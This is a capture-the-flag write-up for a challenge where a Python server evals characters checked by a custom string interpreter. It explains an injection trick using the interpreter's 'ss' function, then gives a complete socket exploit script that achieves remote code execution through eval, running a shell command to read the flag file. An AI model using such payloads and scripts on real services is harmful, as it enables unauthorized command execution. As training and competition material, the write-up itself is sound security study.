# reto1_deploy.zip Remote port running server.py given the source code. It takes two inputs from user: * star * track ```python def main(): pre = {0 : 1} t = 1 for i in xrange(1, 256): t *= i pre[i] = t try: star = raw_input("Star?\n") track = raw_input("Track?\n") code = "" for i in track.strip().split(): i = int(i) if not i in pre: return 1 proc = Processor() proc.initialize(star + "#(ps,#(cl,Engage,%d))" % i) proc.run() o = int(proc.output) if pre[i] != o: return 2 code += chr(i) #print "code = %r" % code eval(code) except Exception as e: print e pass ``` `track` has to be a list of integers separated by spaces `star` is a string added at the start of the code given to `Processor()` `Processor()` its a string interpreter class that parses and executes a string as a custom programming language. `Processor().initialize(self, program="")` initialize the class with the string to be parsed `Processor().run()` interprets the string and execute it. `Processor().output` a string output of the interpreted program. ## Goal The goal its to create a program using the `star` variable that outputs the factorial of every integer passed to `track` so the checks don't fail and that integer is added as a char to the `code` var that gets executed with `eval(code)`. The problem is that there is a hardcoded program we can't modify and we can only add more code at the start. And every integer of `track` gets formated into that hardcoded final part so we can't know what is the current integer to produce the correct output with out `star` program. (and the `star` code remains the same for every integer of `track`). ## Solution Hardcoded part: `"#(ps,#(cl,Engage,%d))"` `Processor()` parses the string char by char from left to right and will execute functions when it founds an `)` after it has found a `#(` and the return value gets overwritten there and gets parsed as well. So if we can inject special chars like `#(,)` in the `Engage` var we can inject code in the hardcoded part so we get the info of the current integer and we can give the correct output. We can't just do: `#(ds,Engage,#(mul,2,2))` Because it would put the return value into Engage instead of the literal function. We can use the `ss` function to inject whatever byte we want ```python def ss(self, args): try: form_key = args.pop(0) form = self.forms[form_key] form_marked = form for i in range(len(args)): arg = args[i] marker = "%s%s" % (SEGMENT_GAP, chr(i)) form_marked = form_marked.replace(arg, marker) self.forms[form_key] = form_marked form_list = [] form_list += form_marked #print "ss: %s" % (form_list) return "" except: return "" ``` As will replace the argument with `\xff\x(arg_number)` `"#(ds,Engage,aba)#(ss,Engage,b,"+" ,"*0x28+"a)"` So this will replace the a's with a 0x28 byte that its a `)`, by injecting closing parenthesis it allows the following payload: `"#(ds,1\xff,1)#(ds,Engage,aba)#(ss,Engage,b,"+" ,"*0x28+"a)#(ps,#(cl,"` The injected parentheses closes the `ps` function and the `track` integer its passed to our function `cl` so we can hardcode a variable for every number with his factorial with `ds`. This input in `star` produces the correct output for any number in `track` ``` #(ds,1�,1)#(ds,2�,2)#(ds,3�,6)#(ds,4�,24)#(ds,5�,120)#(ds,6�,720)#(ds,7�,5040)(...)(ds,Engage,aba)#(ss,Engage,b, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,a)#(ps,#(cl, ``` ```python import socket def rce(command): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("18.168.149.140",1337)) pre = {0 : 1} t = 1 hardcode_list = b"" for i in range(1, 256): t *= i hardcode_list += "#(ds,%d\xff,%d)" % (i, t) pre[i] = t track = " ".join([str(ord(i)) for i in command]) payload = hardcode_list + "#(ds,Engage,aba)#(ss,Engage,b,"+" ,"*0x28+"a)#(ps,#(cl," print(s.recv(1024)) s.send(payload+"\n") print(s.recv(1024)) s.send(track+"\n") print(s.recv(1024)) rce("__import__('os').system('cat flag.txt')") ``` Flag: `flag{star_trac_to_rail_fact}`